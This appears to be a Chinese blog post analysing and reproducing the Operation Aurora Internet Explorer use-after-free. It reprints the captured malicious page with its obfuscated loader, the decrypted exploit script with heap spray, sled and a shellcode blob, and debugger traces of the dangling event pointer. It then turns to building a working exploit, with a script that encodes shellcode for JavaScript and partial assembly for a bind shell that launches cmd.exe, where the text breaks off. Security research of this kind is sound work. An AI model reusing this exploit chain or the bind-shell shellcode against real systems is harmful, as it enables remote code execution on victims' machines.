极光行动_流量分析_漏洞复现

Posted 2021-03-26 leibso-cy

tags:

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1 分析样本数据

1.1 概览样本数据流

分析：

可以观察到样本已经提取得很精炼并没有多少个包，协议只有http、tcp 所以我们不用协议分层、会话、端点等分析，直接流追踪就行

1.2 tcp流追踪

分析：

从上面得图中可以发现以下流程：

分析：

服务端第二次返回了一个html文档，里面包含了这样得内容：

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
<html>
<head>
<script>
        var IwpVuiFqihVySoJStwXmT = ‘04271477133b000b1a0c240339133c120e2805160e1503684d705005291a08091b3e6e713e1122520b03123d051808392c0d27123b0a0805033c1c0735321a2407350314142935250829083c0a0000072f142624011f2a27022825082f253f2c39394a716a2615275207142524357d43772c2702705a2f466a657c6e4a256a7450614176566c65257e4165310515150a0f2b35302a103d0e03041e0234362f3a3c34073e1b0d0d02131e3f1635200e21101c38093913112e322223211f3239302133381b330a0c2c1175576c2e2713251f2308236b2f270f2d3e2d353c172b03393164031d192b1e363c012f072d311538230f2e113979490b03123d051808392c0d27123b0a0805033c1c0735321a2407350314142935250829083c0a0000072f142624011f2a27022825082f253f2c39393125176614310627466a656e0d3a3968730d261334463b1122303b07052d3d3705303e36340f05131d0b2934142b070d33657175043926244b261334461d362b31063d3e00263e1c110f11080f250e340020150110220c1e111c3d0e273f3a3a21050f2b2208341f04042c684d701c231177043e270b3562614b26133446220e083e1c0d0e1b3d1d31362b271221170036001a240230092e222638383d152b1a23162b0d3330230b14053e3e3c1a321537122d27043a30271d2439383b121f160a033e1c211e383f203e3e143136190210081f2c1e231603112d363975576c3f261523112716327e2a20042f3e211f3e5221212e233d131c0f1318223d2a24080212361718392626070a24072c27102533210823092a15390917190d3e3310250d0c04053d04173d1c0f212b180820333c382d3e3d2036000921320a1c36371e4e7e3e3a34186c271f1707352e1f260a1a2d281c3b3c1e113411272e3d2419043d080611023c280d1c3318332b3b1c3d061f0b050810103b173a160f32230a060d16260216001c1c05684d70070d223c330d113901070b001d02110b152f361f3818180a3f180725123a121534381f0c113b05152021162a3e211e26282f012408242e381f27020605220124293309293c3321011a033a040822143533003f08000e22392c35270835137f656b701f2a727c4175077f5565726920537b782e55254b7f52366039610b75286d05364b7255723078305e2e6f3d49624b76432223746108693f7b47694063136423756c4f392c7d49695733526f7c7d701f75287b167507725f632369205e29797f5525417152616039315c78786d05644a720372302a6d592a6f3d44364b774322767b6153693f7c4164136313637c2a314f3973704966573355602328701f782b7c1175077f506e7469205e7b7e7a55254623526460396c08787d6d0569107f5672302a6d597b6f3d1669462743227129665d693f2e13364763136e762a364f397e29433657335460717f701f75727c16750722506e726920537b2c7d55254b7752646039615b78726d0536477f5672302a365e746f3d4436147f4322777b315c693f7c116245631331217e624f392c7d4963573300337174701f75727116750772076e7569205e742c7d5525467f00336039615375796d05644a74517230756d53756f3d43364b2443227c7d6c59693f2c46644a631331217f334f397e7a4469573354602328701f752c714075072002647269205e7d797f55254b7f5f6460396c5d78796d05364775517230756d5e7d6f3d493240714322767b6c59693f7141644063136e7475634f397e7044675733006f2374701f2a2e7c48750772556e776920592a73795525462452646039615a787d6d056942200572307566592a6f3d496840714322777b610c693f7c4963456313637575674f397e794236573352357c7d701f2a727b16750772506e7c69205e7b7e7155254b705f6660396c5378736d056442725772307567592a6f3d42674b754322717f3352693f7c41694a6313317d756c4f397370496957335260712d701f78737c407507725e6e7769205e297e7e55254b77003460393352787b6d05644a7f507230756d5e296f3d426714224322712a6c58693f71466941631363762a6d4f39732e16655733006f7c7f701f2a2e2c4675072250637c69205e2d7e7e5525467f5f666039330e75726d0564452250723075375e7f6f3d16684b754322712e3353693f7c15644b6313632478634f397e7b446857330062717c701f787971487507750063276920537c7e7e55254624556060396158787b6d0563457f5f7230756c5e2a6f3d44314b714322232f6c5a693f7c1163146313637c75374f39797f496357335231767b701f782b711275077400637c69205e7c7e7b55254b2052656039610b2a726d056245725672302a3153756f3d166514224322767b615d693f7c4069406313647278624f39737b146657335f6f717a701f757c714975077500652369205e7b2c70552514255f6660396c5d75286d053647205e723028635e7b6f3d4463147f4322717f615d693f7c11634563133126786d4f397378423657335f352328701f78737c4275077451317c6920587b73795525467e5f316039615975726d0564417f5672307564537f6f3d49694171432223796c58693f7c49644063136e7378374f397379496357335f65772a701f75787c1275077551637d6920582a732a5525417154316039615b78286d056945725772302a360c756f3d4469147f4322217a335f693f714136116313637378664f397e7916345733006f7c7f701f7f7d7a47750772046e766920582a787f55254b765f3160396152787d6d05644b200272307562582a6f3d163446774322717b6c08693f7b4764406313637d2a6d4f397379446657335264217a701f75287a477507725731216920537f7e705525407152656039665d757c6d05364a205f72302a315e756f3d43364b7643227c7a6c5a693f71406944631331702a314f39782e496957335f6f2328701f2a2e2e147507725565236920537a2e7e55254b7552656039330978786d0564137f5e723078305e7e6f3d496246754322717b675d693f71436910631363722a314f397e79496357335236762a701f7f2c714175077f546e276920537d7e715525147f006f6039335f75286d05644a725f72307865532e6f3d49674b704322712e610c693f7147694563133170786d4f39737844615733526e7174701f757b7c4175077451637669205e7a2c7d552541715f6e6039335f78736d0569407f5472302a60537e6f3d44634b7443227c7c6153693f2e49644b6313637575674f397e784960573355312375701f782b2e1475077400637c69205e7e7e7b552546705f6060396c5c757d6d0569457251723078665e296f3d4962147e4322717b615b693f7b47364a63136e277e334f397e7e1466573355607c7d701f2a2e71477507725e6e2369200e7a737b552540205f616039665d757d6d056443200572302a6d537e6f3d16334b754322217a6c53693f7c47694063136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c091d0a391c1c1420270c212c121e1e1f371500050a2e352e302838301802113b05053f1139330706123d0a39312e0f222962390f222d3c186b522f4d7c6c37180f0932013d3207202300070519041e0c38393d0b3e3403120b10180f263100321704122d153e14230f29202425142b2c0f30363c2924233d1c0b1b1b48332438344a716a384b2d04271477316c684a201e2615013909031a223b23322d3b0b2029230707130115140128643b0233372a033a2022215131‘;
        var RXb = ‘‘;
        for (i = 0;i<IwpVuiFqihVySoJStwXmT.length;i+=2) {
            RXb += String.fromCharCode(parseInt(IwpVuiFqihVySoJStwXmT.substring(i, i+2), 16));
        }
        var vuWGWsvUonxrQzpqgBXPrZNSKRGee = location.search.substring(1);
        var NqxAXnnXiILOBMwVnKoqnbp = ‘‘;
        for (i=0;i<RXb.length;i++) {
            NqxAXnnXiILOBMwVnKoqnbp += String.fromCharCode(RXb.charCodeAt(i) ^ vuWGWsvUonxrQzpqgBXPrZNSKRGee.charCodeAt(i%vuWGWsvUonxrQzpqgBXPrZNSKRGee.length));
        }
        window["eval".replace(/[A-Z]/g,"")](NqxAXnnXiILOBMwVnKoqnbp);
?
</script>
</head>
<body>
<span id="vhQYFCtoDnOzUOuxAflDSzVMIHYhjJojAOCHNZtQdlxSPFUeEthCGdRtiIY"><iframe src="/infowTVeeGDYJWNfsrdrvXiYApnuPoCMjRrSZuKtbVgwuZCXwxKjtEclbPuJPPctcflhsttMRrSyxl.gif" onload="WisgEgTNEfaONekEqaMyAUALLMYW(event)" /></span></body></html>
</body>
</html>

分析：

此html文档包含了一个js 脚本和一个<span>标签，在span标签里面有一个<iframe src = "/...gif"> ，并且在这个<iframe>加载的时候给了一个动作函数 "WisgEgTNEfaONekEqaMyAUALLMYW(event)" 将当前动作事件以参数的形式传递进去，目前这个函数可以猜测是上面的脚本来的。

但是上面的脚本里面没有这个函数，所系分析脚本：

脚本是根据当前请求链接上的第一个参数作为密钥，解密了这个数组内容，并且使用window["eval"].(Script)的方法执行了这个内容

那就能解释了，这个解密后是脚本，并且有WisgEgTNEfaONekEqaMyAUALLMYW(event)这个函数。

1.3 提取脚本并调试获取解密脚本

这里我用chrome浏览器调试，我在解密后执行前下一个断点，如下：

分析：

此时的 NqxAXnnXiILOBMwVnKoqnbp 即保存的是解密后的脚本，我们通过chrome 的数据窗口保存数据到本地：

1.4 查看并分析解密后脚本

var VwUaVFlsiaztYmICdYI = "COMMENT";对象名
var MeExIMbufEWBILnRFpImyxRTWGErClypbeBtzPrAICchTufmJXuziChiul = new Array();全局数组
for (i = 0; i < 1300; i++)
{
    //初始化全局数组MeEx...1300个元素节点为 "COMMENT"
    MeExIMbufEWBILnRFpImyxRTWGErClypbeBtzPrAICchTufmJXuziChiul[i] = document.createElement(VwUaVFlsiaztYmICdYI);
    //初始化每个 "COMMENT"对象的.data -- 数据为 "XPu"
    MeExIMbufEWBILnRFpImyxRTWGErClypbeBtzPrAICchTufmJXuziChiul[i].data = "XPu";
}
    //event对象
var lTneQKOeMgwvXaqCPyQAaDDYAkd = null;
    //又是一个全局数组，观察gGyfqFvCYPRmXbnUWzBrulnwZVAJpUifKDiAZEKOqNHrfziGDtUOBqjYCtATBhClJkXjezUcmxBlfEX()
    //发现使用来填充滑板指令+sellcode的。
var JsgdlqtHVnnWiFMCpdxJheQbdjITPhdkurJqwIMuMxJnHf = new Array();
    //unescape（） 该函数的工作原理是这样的：通过找到形式为 %xx 和 %uxxxx 的字符序列（x 表示十六进制的数字），用 Unicode 字符 u00xx 和 uxxxx 替换这样的字符序列进行解码
var uKDkvADSMMCpMpWmBjzJRTRBOHuctmWYaRSFYKUgfGAorttjbgqtzbHoZkWlIhITyAOOkvmTpOpLxrfsUWzDUdnsdEwzsu = unescape;
function gGyfqFvCYPRmXbnUWzBrulnwZVAJpUifKDiAZEKOqNHrfziGDtUOBqjYCtATBhClJkXjezUcmxBlfEX()
{
        //unescape() 获取 uxxxx类似的字符序列 转义shellcode。。。
    var mWgWGhyqOVxBPqtnAFWAyxhLnqBNaRNnkKvTfAwVuvOyCnGUwBPZEzSZtKpqGZUvPO = uKDkvADSMMCpMpWmBjzJRTRBOHuctmWYaRSFYKUgfGAorttjbgqtzbHoZkWlIhITyAOOkvmTpOpLxrfsUWzDUdnsdEwzsu( ‘%uf841%u9327%u972f%u994a%u4a9b%uf943%u4e4b%u9290%uf84b%u3792%u3f99%uf599%u4891%u9b3f%u494f%u4e37%u3746%ud642%u484e%uf83f%u4f91%u3749%u414a%u49fd%u9896%u37fd%u4a4a%u9691%u4742%u4e43%u9b47%u9b90%uf837%uf94a%u4e37%ufcf5%u93fc%u4a3f%u2743%u984f%ud697%u97f5%u9143%u4148%uf590%ufc48%u4ff9%u27d6%u4a27%ufd27%uf593%ufd48%u989f%u4a90%u48f5%u49fd%u4993%u4827%u9899%u3f9b%u9193%ud648%ufd3f%u4249%u27fd%u9f90%ufd37%u4137%u9993%u9743%uf537%u9841%u9b27%u3793%u9142%u9196%u4847%uf8f8%ufd48%u4392%u3f91%u4b43%u4047%u90fc%u933f%u9827%u274f%u4937%u4092%u412f%u4b91%uf83f%u4699%u4749%u9691%u9949%u4041%u923f%u2793%u43f8%u4198%uf899%u9899%u474a%u4940%u4892%u4e46%u91fc%uf841%u4896%u984e%u27fd%u4f92%u9693%u43f8%u9ff5%uf893%ufdd6%ud649%u4a46%u4991%ufd98%u47d6%u9b43%uf893%u4bf9%u4e49%u4a46%u4348%uf540%u4398%u3f4b%u9046%u4b37%u4241%u3799%u994f%u4a97%ufc90%u4a3f%u499b%u3793%u4f37%u4a9b%u2f49%u4043%u9f42%u4af8%u2740%ufd99%uf5fd%u3747%u4092%u3747%u93d6%u9846%u9699%u3f2f%u47f8%ufc91%u979b%uf5f8%ud647%u43f9%u4347%u4a37%ufc48%u902f%u9bfd%u4942%u27f9%u2791%u489f%u4398%u4390%u9193%u9937%uf592%u4942%u964b%u9193%u922f%u924b%u3748%u2f9b%u372f%u414b%u9741%ufcf9%u49f9%ud6f5%u91fc%u4643%u41fd%uf893%u3727%u4b93%u2f27%u909f%u4847%u49fd%u972f%ufd41%u479b%u3742%u48f8%u9146%u43d6%u9b27%u41fd%u9348%u2742%u3796%uf8f9%ufd49%u3f90%u9690%u9096%uf5fd%u2f99%u98fd%ufdfd%u432f%u96d6%u9342%ufc42%u4a98%u4e42%u9243%u4727%u939b%u47fd%u4193%u4a3f%u3f91%u929b%u9149%uf9f8%uf59b%u4849%u409b%u9796%u4b4f%u9797%uf548%u9041%u4948%u9141%u2743%u46f5%u3799%uf549%u9292%uf592%u4392%u9049%uf949%u4092%u4090%u3ff9%u4afd%u2f49%u4243%u4697%u9697%u9747%u434e%u92f8%u4741%u37f8%u9b2f%u46d6%u3791%ufd97%u489f%ud693%u2f96%u3797%u41fc%uf892%ufc93%ud699%u4792%u419b%u3f4b%u4f90%u9bfd%u493f%ufdf5%uf541%u439f%uf9f5%u909b%u4b99%u9093%ufd91%u2746%u989f%u4942%u97f8%u4897%u473f%u9337%ufc3f%uf9fd%u4e2f%u42f8%uf92f%u9690%u9096%u49d6%u9f9f%u9098%u9040%uf991%u4b27%u9f91%u4a48%u48f8%u3f43%u9937%u41d6%u994a%u424b%u4b96%u9146%u48f8%uf893%u472f%u982f%u4991%u4241%u9b42%u469b%u423f%u4f4e%u9792%u9296%ubf98%ua70b%u4afb%ud8db%uc929%u74d9%uf424%u4bb1%u315a%u127a%uea83%u03fc%ua971%ubf19%u7104%ub289%u85f9%udbce%u7a8c%u1c2f%uf3ee%u2dca%u673c%u1c9e%ue3f0%uacf2%ua17b%u27e6%u6e09%u8f08%u48a7%u1027%u5506%ud2eb%u2909%u06f6%u10e9%u5b39%u55e8%u9424%u0eb8%u0722%u3a2c%u9476%uec4d%ua4fc%u8935%u51c3%u908f%uc913%udb84%u618b%ufbc2%ua6aa%uc711%uc3e5%ub3e1%u05f7%u3b38%u69c6%u0296%u67e6%u43e7%u97c1%ubf92%u2531%u7ba4%uf14b%u9e21%u72eb%u7a91%u560d%u0847%u1301%u560c%ua206%uecc1%u2f32%u22e4%u6bb3%ue6c2%u289f%ube6b%u9e45%ua094%u7f22%uaa30%u94c1%uf142%u598d%u0a78%uf64e%u790b%u597c%u15a7%u12cc%ue161%u0933%u7dd5%ub2ca%u5725%ue609%ucf75%u87b8%u0f1e%u5244%u5fb0%u0dea%u3070%ufe4a%u5a18%u2145%u6538%u4a8f%u9fd2%ub558%uc48a%u5d52%u04c8%u7f73%ue245%u6f19%ubc03%u16b5%u360e%ud627%u3285%u5c67%uc229%u9526%ud044%u55df%u8a13%u6976%ua18e%uff76%u6034%u9720%u5536%u3806%ub0c9%uf11c%u7b5f%ufe4b%u7b8f%ua88b%u7bc5%u0ce3%u2fbd%u5316%u5c68%uc68b%u3592%u407f%ubbfa%ua6a6%u44a5%u368d%u929a%ubce8%u90ea%u7d18‘);
        //滑板指令，溢出修改地址，触发堆喷条件0c0d0c0d
    var uafwHGfWUmxkIam = uKDkvADSMMCpMpWmBjzJRTRBOHuctmWYaRSFYKUgfGAorttjbgqtzbHoZkWlIhITyAOOkvmTpOpLxrfsUWzDUdnsdEwzsu( "%" + "u" + "0" + "c" + "0" + "d" + "%u" + "0" + "c" + "0" + "d" );
    do {
        uafwHGfWUmxkIam += uafwHGfWUmxkIam
        //创建局部空间 0xd0000*unescape("%u0c0d%u0c0d")的滑板空间
    }
    while( uafwHGfWUmxkIam.length < 0xd0000 )//创建局部空间 0xd0000*unescape("%u0c0d%u0c0d")的滑板空间
    
    for (S = 0; S < 150; S++)
        //创建全局空间 实现堆喷 组合150个 滑板指令:shellcode;
        JsgdlqtHVnnWiFMCpdxJheQbdjITPhdkurJqwIMuMxJnHf[S] = uafwHGfWUmxkIam + mWgWGhyqOVxBPqtnAFWAyxhLnqBNaRNnkKvTfAwVuvOyCnGUwBPZEzSZtKpqGZUvPO;
}
function WisgEgTNEfaONekEqaMyAUALLMYW(cpznAZhGdtOhTCNSVGLRdYeEfCAPKMeztpQnoKTGKsjrhhkoxCWPz)
{
        //在栈空间溢出  并/&&  在堆空间中填充滑板指令和shellcode
    gGyfqFvCYPRmXbnUWzBrulnwZVAJpUifKDiAZEKOqNHrfziGDtUOBqjYCtATBhClJkXjezUcmxBlfEX();
        //document.CreateEventObject() 创建一个event对象
    lTneQKOeMgwvXaqCPyQAaDDYAkd = document.createEventObject(cpznAZhGdtOhTCNSVGLRdYeEfCAPKMeztpQnoKTGKsjrhhkoxCWPz);
        //获取 <span>元素，，，理解为上一层的(其实是同一层，这里的整个脚本是windows["eval"](scriptcode) 执行的scriptcode脚本 )
    document.getElementById("vhQYFCtoDnOzUOuxAflDSzVMIHYhjJojAOCHNZtQdlxSPFUeEthCGdRtiIY").innerHTML = "";
        //相当于我们c++中的定时器每50ms*发作*一次,
    window.setInterval(nayjNuSncnxGnhZDJrEXatSDkpo, 50);
}
?
// 猜测这里就是漏洞点？？？？
function nayjNuSncnxGnhZDJrEXatSDkpo()
{
    p = "u0c0fu0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0du0c0d";
    for (i = 0; i < MeExIMbufEWBILnRFpImyxRTWGErClypbeBtzPrAICchTufmJXuziChiul.length; i++)
    {
        //把这个堆空间 全局 "COMMENT" 元素节点数组 的每个 元素的data 换成滑板指令 0c0f0c0d0c0d0c0d0c0d0c0d0c0d0c0d0c0d0c0d0c0d0c0d0c0d0c0d0cd0c0d0c0d0c0d0..
        MeExIMbufEWBILnRFpImyxRTWGErClypbeBtzPrAICchTufmJXuziChiul[i].data = p;
    }
        //生成事件的windows对象，在这儿是<iframe src="/infowTVeeGDYJWNfsrdrvXiYApnuPoCMjRrSZuKtbVgwuZCXwxKjtEclbPuJPPctcflhsttMRrSyxl.gif"/>
    var t = lTneQKOeMgwvXaqCPyQAaDDYAkd.srcElement;
}

分析：

我们看到的确在这里面有 WisgEgTNEfaONekEqaMyAUALLMYW() 函数，概览了分析了一下整个脚本(详情请查看上面的注释)。总结如下：

1. gGyfqFvCYPRmXbnUWzBrulnwZVAJpUifKDiAZEKOqNHrfziGDtUOBqjYCtATBhClJkXjezUcmxBlfEX()

此函数填充了 0xd0000个栈溢出跳转地址和堆空间空间150个滑板指令+shellcode

lTneQKOeMgwvXaqCPyQAaDDYAkd

2. 创建了全局的变量事件触发event副本

把 <span>标签vhQYFCtoDnOzUOuxAflDSzVMIHYhjJojAOCHNZtQdlxSPFUeEthCGdRtiIY

的内容置空

3. 设置一个定时器，发作间隔为50ms，发作响应函数为nayjNuSncnxGnhZDJrEXatSDkpo

这个函数是将全局对象的空间填充为"u0c0fu0c0du0c0du0c0du0c0du0c0d...“，并访问了这个已经置空的lTneQKOeMgwvXaqCPyQAaDDYAkd.srcElement，即<iframe>触发事件对象，猜想这里应该就是触发了崩溃，因为已经置空了还在去访问。

2 分析奔溃点

2.1 获取崩溃点

使用windbg 附加ie 6.0 的进程，然后访问本地搭建的服务器（这里使用phpsudy搭建，根目录下放我们前面提取出的html文档），链接使用 xxx.html?rFfWELUjLJHpP,xxx为你存储的html文档名

分析：

如前面分析脚本中的验证，根据栈回溯分析，是mshtml！CEventObj::get_srcElement导致的崩溃，即脚本中的 lTneQKOeMgwvXaqCPyQAaDDYAkd.srcElement。

2.2 分析上下文查看奔溃点的来源

> u mshtml!CEventObj::get_srcElement

> u mshtml!CEventObj::GenericGetElement l0x100

> u mshtml!CElement::GetDocPtr

崩溃点环境：

分析：

我们可以看到ecx是0x 00000054 所以产生了异常。
我往上找（上面第二张贴图）发现在mshtml!CEventObj::GenericGetElement 中 ecx 源于 ebx，ebx 来源于.......可以追溯到当前的局部变量 [ebp-0x8] 中。
简单的浏览观察到没有哪里有赋值[ebp-0x8],所以开始展开分析。

2.3 展开分析追溯崩溃源

展开 mshtml!CEventObj::GenericGetElement 函数查看局部变量 [ebp-8]

mshtml!CEventObj::GenericGetElement:
7e44c42c 8bff           mov     edi,edi
7e44c42e 55             push   ebp
7e44c42f 8bec           mov     ebp,esp
7e44c431 83ec10         sub     esp,10h
7e44c434 8365fc00       and     dword ptr [ebp-4],0
7e44c438 56             push   esi
7e44c439 8b7508         mov     esi,dword ptr [ebp+8]
7e44c43c 85f6           test   esi,esi
7e44c43e 894df4         mov     dword ptr [ebp-0Ch],ecx
7e44c441 750c           jne     mshtml!CEventObj::GenericGetElement+0x23 (7e44c44f)
7e44c443 c745fc03400080  mov     dword ptr [ebp-4],80004003h
7e44c44a e9e4000000     jmp     mshtml!CEventObj::GenericGetElement+0x107 (7e44c533)
7e44c44f 8b4df4         mov     ecx,dword ptr [ebp-0Ch]
7e44c452 832600         and     dword ptr [esi],0
7e44c455 8d45f0         lea     eax,[ebp-10h]
7e44c458 50             push   eax
7e44c459 ff750c         push   dword ptr [ebp+0Ch]
7e44c45c e807f6ffff     call   mshtml!CEventObj::GetUnknownPtr (7e44ba68)
7e44c461 85c0           test   eax,eax
7e44c463 0f84ca000000   je     mshtml!CEventObj::GenericGetElement+0x107 (7e44c533)
7e44c469 8b45f0         mov     eax,dword ptr [ebp-10h]
7e44c46c 8b4df4         mov     ecx,dword ptr [ebp-0Ch]
7e44c46f 8906           mov     dword ptr [esi],eax
7e44c471 8d45f8         lea     eax,[ebp-8]
7e44c474 50             push   eax
7e44c475 e8ce1de3ff     call   mshtml!CEventObj::GetParam (7e27e248)
7e44c47a 85c0           test   eax,eax
7e44c47c 8945fc         mov     dword ptr [ebp-4],eax
7e44c47f 0f85ae000000   jne     mshtml!CEventObj::GenericGetElement+0x107 (7e44c533)
7e44c485 8b450c         mov     eax,dword ptr [ebp+0Ch]
7e44c488 2de9030000     sub     eax,offset <Unloaded_ud.drv>+0x3e8 (000003e9)
7e44c48d 57             push   edi
7e44c48e 7422           je     mshtml!CEventObj::GenericGetElement+0x86 (7e44c4b2)
7e44c490 83e808         sub     eax,8
7e44c493 7412           je     mshtml!CEventObj::GenericGetElement+0x7b (7e44c4a7)
7e44c495 48             dec     eax
7e44c496 0f8596000000   jne     mshtml!CEventObj::GenericGetElement+0x106 (7e44c532)
7e44c49c 8b45f8         mov     eax,dword ptr [ebp-8]
7e44c49f 8b7008         mov     esi,dword ptr [eax+8]
7e44c4a2 8b787c         mov     edi,dword ptr [eax+7Ch]
7e44c4a5 eb13           jmp     mshtml!CEventObj::GenericGetElement+0x8e (7e44c4ba)
7e44c4a7 8b45f8         mov     eax,dword ptr [ebp-8]
7e44c4aa 8b7004         mov     esi,dword ptr [eax+4]
7e44c4ad 8b7878         mov     edi,dword ptr [eax+78h]
7e44c4b0 eb08           jmp     mshtml!CEventObj::GenericGetElement+0x8e (7e44c4ba)
7e44c4b2 8b45f8         mov     eax,dword ptr [ebp-8]
7e44c4b5 8b30           mov     esi,dword ptr [eax]
7e44c4b7 8b7874         mov     edi,dword ptr [eax+74h]
7e44c4ba 85f6           test   esi,esi
7e44c4bc 7474           je     mshtml!CEventObj::GenericGetElement+0x106 (7e44c532)
7e44c4be 53             push   ebx
7e44c4bf 8b1e           mov     ebx,dword ptr [esi]
7e44c4c1 8bcb           mov     ecx,ebx
7e44c4c3 e8bbc7e2ff     call   mshtml!CElement::GetDocPtr (7e278c83)
7e44c4c8 8b804c010000   mov     eax,dword ptr <Unloaded_ud.drv>+0x14b (0000014c)[eax]

分析：

我们可以从上面找到如下语句：

可以看出，调用了GetParam函数，ebp-8是存储的参数

分析 mshtml!CEventObj::GetParam函数：

0:000> u mshtml!CEventObj::GetParam 
mshtml!CEventObj::GetParam:
7e27e248 8bff           mov     edi,edi
7e27e24a 55             push   ebp
7e27e24b 8bec           mov     ebp,esp
7e27e24d 8b4118         mov     eax,dword ptr [ecx+18h]
7e27e250 85c0           test   eax,eax
7e27e252 7511           jne     mshtml!CEventObj::GetParam+0x19 (7e27e265)
7e27e254 8b4110         mov     eax,dword ptr [ecx+10h]
7e27e257 8b805c050000   mov     eax,dword ptr <Unloaded_ud.drv>+0x55b (0000055c)[eax]
7e27e25d 85c0           test   eax,eax
7e27e25f 0f848f3c0c00   je     mshtml!CEventObj::GetParam+0x22 (7e341ef4)
7e27e265 8b4d08         mov     ecx,dword ptr [ebp+8]
7e27e268 8901           mov     dword ptr [ecx],eax
7e27e26a 33c0           xor     eax,eax
7e27e26c 5d             pop     ebp
7e27e26d c20400         ret     4

分析：

可以看出使用ecx调用数据，这大概是一个thiscall类型，ecx存储着一个对象指针。我门回到上面查看调用mshtml!CEventObj::GetParam之前ecx是什么。

可以看到是 mshtml!CEventObj::GenericGetElement 函数的局部变量 [ebp-0ch]

可以看到是 mshtml!CEventObj::GenericGetElement() 的 ecx 也就是同一个对象参数。

2.4 查阅分析相关类和结构体

CEventObj 是一个event对象，但是并没有与event直接相关的属性。event直接相关的属性在 EVENTPARAM 结构中，一般来说 event 会有一个源元素（触发这个事件的元素节点），在event的srcElment 属性中即是对象，当调用CreateEventObject（）创建事件event副本的时候，没有增加Element的引用计数，所以当释放原Element之后，事件副本eventcopy.CTreeNode是一个悬空指针，其下的Element元素内存已经被释放了。

使用查看相关IDA符号：

2.5 漏洞成因

综合上面的分析可以得出以下结论：

createEventObject创建了event的副本，但是此函数中EVENTPARAM::EVENTPARAM() 复制EVENTPARAM结构时并没有增加CTreeNode中srcElement即原对象的访问计数。所以在原Element被清空的时候，也对该内存进行了释放，造成了event副本中的EVENTPARAM.CtreeNode成了悬空指针。当使用的时候，会依次调用mshtml!CEventObj::get_srcElement()、mshtml!CEventObj::GenericGetElement()、mshtml!CElement::GetDocPtr()，会使得访问已经释放的内存（我们可以有意使用这块内存触发堆喷条件）

3 OD动态分析验证

3.1 当释放Element的情况

在mshtml!CEventObj::get_srcElement()、mshtml!CEventObj::GenericGetElement()、mshtml!CElement::GetDocPtr()这三个函数下断点

分析：

我们一路跟下来可以看到此时 ecx = ebx = 0x0c0d0c0d是我们的滑板指令了。继续跟进去验证：

分析：

如我们预计的一样，此时已经来到了我们的滑板了

3.2 当没有释放Element的情况

在脚本中注释掉，释放对象的语句：

运行：

分析：

我们可以观察到这里CTreeNode的ECX和EBX恢复了正常

4 EXP实现后台远程连接

4.1 CShellCode 和 UnicodeShellCode的的转换

注意：此脚本使用python2的环境，因为python3中没有 .encode(‘hex‘)

c_shellcode = ("CShellCode")
?
shellcode_list = []
for i in range(len(c_shellcode)):
    shellcode_list.append(c_shellcode[i].encode(‘hex‘))
js_shellcode = ‘‘
for i in range(0, len(shellcode_list), 2):
    if i == (len(shellcode_list) - 1):
        element = ‘%u‘ + "00" + str(shellcode_list[i])
    elif i == len(shellcode_list):
        break
    else:
        element = ‘%u‘ + str(shellcode_list[i + 1]) + str(shellcode_list[i])
    js_shellcode += element
?
print(js_shellcode)

4.2 shellcode的编写

这里使用的是vs2017 -32- release，写完后直接放xdbg里面扣取shellcode

?
int main()
{
    __asm
    {
        
        pushad
        sub esp,0x200
        jmp Label_PC
        //GetProcAddress
        //cmd.exe
        //ws2_32.dll
        //kernel32.dll
        //GetHashAV("ExitProcess")); //  c69fa312
        //GetHashAV("WSAStartup"));  //  7b0168d4
        //GetHashAV("WSASocketA"));  //  5bbcf064
        //GetHashAV("bind"));        //  c9bb4e20
        //GetHashAV("listen"));      //  1897a73e
        //GetHashAV("accept"));      //  62032e3d
        //GetHashAV("CreateProcessA" //  92d74d79
?
?
        //下面是 ff 亦或加密后的字符串
        //cmd.exe -- 8 -- STD -d -b- 8-5 == 0x25
        //ws2_32.dll --b -- SDT -d -b -5 == 0x1d
        //kernel32.dll -- d -- STD - d-5 == 0x12
        _asm _emit(0x63) _asm _emit(0x6D) _asm _emit(0x64) _asm _emit(0x2E) _asm _emit(0x65) _asm _emit(0x78) _asm _emit(0x65) _asm _emit(0x00)
        _asm _emit(0x77) _asm _emit(0x73) _asm _emit(0x32) _asm _emit(0x5F) _asm _emit(0x33) _asm _emit(0x32) _asm _emit(0x2E) _asm _emit(0x64) _asm _emit(0x6C) _asm _emit(0x6C) _asm _emit(0x00)
        _asm _emit(0x6b) _asm _emit(0x65) _asm _emit(0x72) _asm _emit(0x6E) _asm _emit(0x65) _asm _emit(0x6C) _asm _emit(0x33) _asm _emit(0x32) _asm _emit(0x2E) _asm _emit(0x64) _asm _emit(0x6C) _asm _emit(0x6C) _asm _emit(0x00)
        
            Label_PC:
            call Label_Start
        Label_Start:
            pop ebx         //获取PC -- std_Offset_PC
            mov [ebp-0x20],ebx
            mov esi,fs:[0x30] //获取PEB
            mov esi,[esi+0xc] //获取LDR
            mov esi,[esi+0x1c]
            mov esi,[esi]  //获取下一个LDR
            mov esi,[esi+0x8] //获取kernel32.dll的基地址
            mov edx,esi
            
            //通过Hash获取到LoadLibraryExA函数：
            pushad
            mov eax, 0xf81b065//提前算好的Hash值 -- LoadLibraryExA -- 因为LoadLibrary在kernelbase.dll里面没有，而不能确定当前使用的是Kernel32.dll还是KernelBase.dll所以使用通用的LoadLibraryExA
            push eax//根据LoadLibrary的Hash值
            push edx
            call FUNC_GetFuncAddrByHash
            mov [ebp-4],eax
            test eax,eax
                //如果获取到的地址是错误的
            je Label_End
            popad
?
            // 获取 kernel32.dll的基址
            mov edi, [ebp-0x4]
            lea eax,[ebx-0x12]
            push 0
            push 0
            push eax
            call edi
            mov [ebp-0xc],eax 
?
            //获取 ws2_32.dll
            lea eax,[ebx -0x1d]
            push 0
            push 0
            push eax
            call edi
            mov [ebp-0x10],eax
?
            //通过hash 获取GetProcAddress
            //push 0xb775fbf            
            //mov eax,[ebp-0xc]
            //push eax
            //call FUNC_GetFuncAddrByHash
            //mov [ebp-0x8],eax
?
            //开始创建网络环境
            //GetHashAV("ExitProcess")); //  0xc69fa312
            //GetHashAV("WSAStartup"));  //  0x7b0168d4
            //GetHashAV("WSASocketA"));  //  0x5bbcf064
            //GetHashAV("bind"));        //  0xc9bb4e20
            //GetHashAV("listen"));      //  0x1897a73e
            //GetHashAV("accept"));      //  0x62032e3d
            //GetHashAV("CreateProcessA" //  0x92d74d79
            
            FUNC_PayLoad:
            sub esp, 0x300
